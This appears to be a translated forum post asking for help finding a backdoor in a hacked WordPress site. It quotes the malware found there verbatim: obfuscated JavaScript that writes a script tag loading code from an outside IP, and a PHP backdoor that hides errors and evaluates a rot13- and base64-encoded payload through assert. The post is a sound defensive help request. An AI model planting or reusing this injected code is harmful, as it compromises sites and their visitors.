今天，我们客户的一个WordPress网站被黑客入侵，该网站由亚马逊aws ubuntu托管。

问题是https://blog.sucuri.net/2016/01/jquery-pastebin-replacement.html

js代码被注入所有js中

var _0xaae8=["","\\x6A\\x6F\\x69\\x6E","\\x72\\x65\\x76\\x65\\x72\\x73\\x65","\\x73\\x70\\x6C\\x69\\x74","\\x3E\\x74\\x70\\x69\\x72\\x63\\x73\\x2F\\x3C\\x3E\\x22\\x73\\x6A\\x2E\\x79\\x72\\x65\\x75\\x71\\x6A\\x2F\\x38\\x37\\x2E\\x36\\x31\\x31\\x2E\\x39\\x34\\x32\\x2E\\x34\\x33\\x31\\x2F\\x2F\\x3A\\x70\\x74\\x74\\x68\\x22\\x3D\\x63\\x72\\x73\\x20\\x74\\x70\\x69\\x72\\x63\\x73\\x3C","\\x77\\x72\\x69\\x74\\x65"];document[_0xaae85](_0xaae84[_0xaae83](_0xaae80)[_0xaae82]()[_0xaae81](_0xaae80))

并且在index.php

//###====###
@error_reporting(E_ALL);
@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("display_errors", 0);
@error_reporting(0);
$wa = ASSERT_WARNING;
@assert_options(ASSERT_ACTIVE, 1);
@assert_options($wa, 0);
@assert_options(ASSERT_QUIET_EVAL, 1);

$strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light =  $strings2($gbz.\'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTIlpz9lK3WypT9lqTyhMluSK0SZGPx7DTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvk0paIyXGgNMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFNzWvOyoKO0rFtxnJW2XFxtrlNxnJW2VQ0tWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqBlNtMJAbolNxnJW2B30tMJkmMJyzVPuyoKO0rFtxnJW2XFxtrjccMvNbp3Elp3ElXPEsH0IFIxIFJlWVISEDK0uCH1DvKFjtVwRlAl4jVvxcrlEhLJ1yVQ0tWS9GEIWJEIWoVyASHyMSHy9OEREFVy07sJIfp2I7WT5uoJHtCFNxK1ASHyMSHyfvFSEHHS9VG1AHVy07sDbxqKAypzRtCFOcp3AyqPtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cC3IloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cBvVvBjbxqKWfVQ0tVzu0qUN6Yl9vLKAbp2thpaHiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvHxIAG1ESK0SRESVvKFxhVvMxCFVhqKWfMJ5wo2EyXPEhLJ1yYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv4xqKAypzRhVvMcCGRznQ0vYz1xAFtvBQMxZGL3ZQH4LGyuLwN5LmWxAGMvZmL4MQZlMwOyZTHkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9QG05BEHAHIRyAEH9IIPjtAFx7VTA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9HFH1SG1IHYPN1XGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWTyvqvN9VTA1pzksMKuyLltxL2tcBlEcozMiVQ0tL3IloS9aMKEcozMiXPEwnPx7nJLtXPEcozMiJlWbqUEjK2AiMTHvKFR9ZwNjXKfxnJW2CFVvB30XL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvtuMJ1jqUxbWS9DG1AHJlWjVy0cVPLzVT1xAFugMQHbWS9DG1AHJlWjVy0cXFN9CFNvZ2MvAQqvBTLmZmyvZmuzZ2VkLJR1BGEuMwD0AGN0ZTHvXFO7VROyqzSfXUA0pzyjp2kup2uypltxK1OCH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwfXsFO9"));\'); $strings($light);
//###====###

以下步骤：

我在本地下载所有js（使用命令zip-r js\\u files.zipwp-content-I\'*.js\'），并使用SubliveText替换恶意代码并上载此代码

Order Deny,Allow
Deny from 134.249.116.78

更改文件夹和文件的权限（使用http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/hosting-wordpress.html)

My Question is:

完成所有这些之后，仍然会注入代码。我是如何找到该网站黑客的后门的。请引导我。